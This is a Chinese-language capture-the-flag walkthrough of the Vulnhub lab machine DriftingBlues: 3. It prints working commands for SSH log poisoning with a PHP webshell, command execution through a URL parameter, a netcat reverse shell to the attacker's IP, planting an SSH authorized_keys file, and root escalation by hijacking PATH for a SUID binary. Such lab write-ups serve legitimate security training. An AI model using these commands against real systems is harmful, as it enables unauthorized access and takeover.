Vulnhub: DriftingBlues: 3靶机

kali:192.168.111.111

靶机:192.168.111.192

信息收集

端口扫描

bash 复制代码
nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.192

查看robots.txt得到提示

访问eventadmins提示littlequeenofspades.html

查看littlequeenofspades.html源码

base64解密后提示adminsfixit.php

访问后发现ssh日志内容会写入该文件

写入webshell

bash 复制代码
ssh '<?php system($_GET["cmd"]);?>'@192.168.111.192

执行命令

bash 复制代码
http://192.168.111.192/adminsfixit.php?cmd=id

获得反弹shell

bash 复制代码
http://192.168.111.192/adminsfixit.php?cmd=nc -e /bin/bash 192.168.111.111 4444

提权

robertj用户.ssh文件夹有写入权限

本地生成ssh公私钥,公钥文件名修改为authorized_keys后上传目标.ssh目录

bash 复制代码
ssh-keygen -f id_rsa
mv id_rsa.pub authorized_keys

登录后查找suid权限的文件

bash 复制代码
ssh robertj@192.168.111.192 -i id_rsa
find / -perm -u=s 2> /dev/null

执行该文件的同时会执行uname命令

bash 复制代码
strings getinfo

修改环境变量提权为root

bash 复制代码
echo '/bin/bash' > /tmp/uname
chmod 777 /tmp/uname
export PATH=/tmp:$PATH
/usr/bin/getinfo
相关推荐
落樱坠入星野21 分钟前
拿下阿里云之后如何在本地运行镜像进行分析
经验分享·安全·网络安全·阿里云·云计算
iSee85743 分钟前
ArcGIS地理空间平台 manager 任意文件读取漏洞复现
安全
超栈1 小时前
HCIP(11)-期中综合实验(BGP、Peer、OSPF、VLAN、IP、Route-Policy)
运维·网络·网络协议·计算机网络·web安全·网络安全·信息与通信
Wh1teR0se1 小时前
XSS漏洞--常用payload及绕过
web安全·网络安全·xss
落寞的魚丶1 小时前
2024一带一路暨金砖国家技能发展与技术创新大赛 (高职组)【网络安全防护治理实战技能赛项】
网络安全·高职组·2024一带一路比赛·金砖国家技术发展与技术创新赛·网络安全防护治理实战技能赛项
0DayHP1 小时前
HTB:Sense[WriteUP]
网络安全
follycat1 小时前
[极客大挑战 2019]PHP 1
开发语言·学习·网络安全·php
0DayHP1 小时前
HTB:GreenHorn[WriteUP]
网络安全
丶21361 小时前
【鉴权】深入了解 Cookie:Web 开发中的客户端存储小数据
前端·安全·web
慕舟舟3 小时前
Windows密码的网络认证---基于挑战响应认证的NTLM协议
windows·网络安全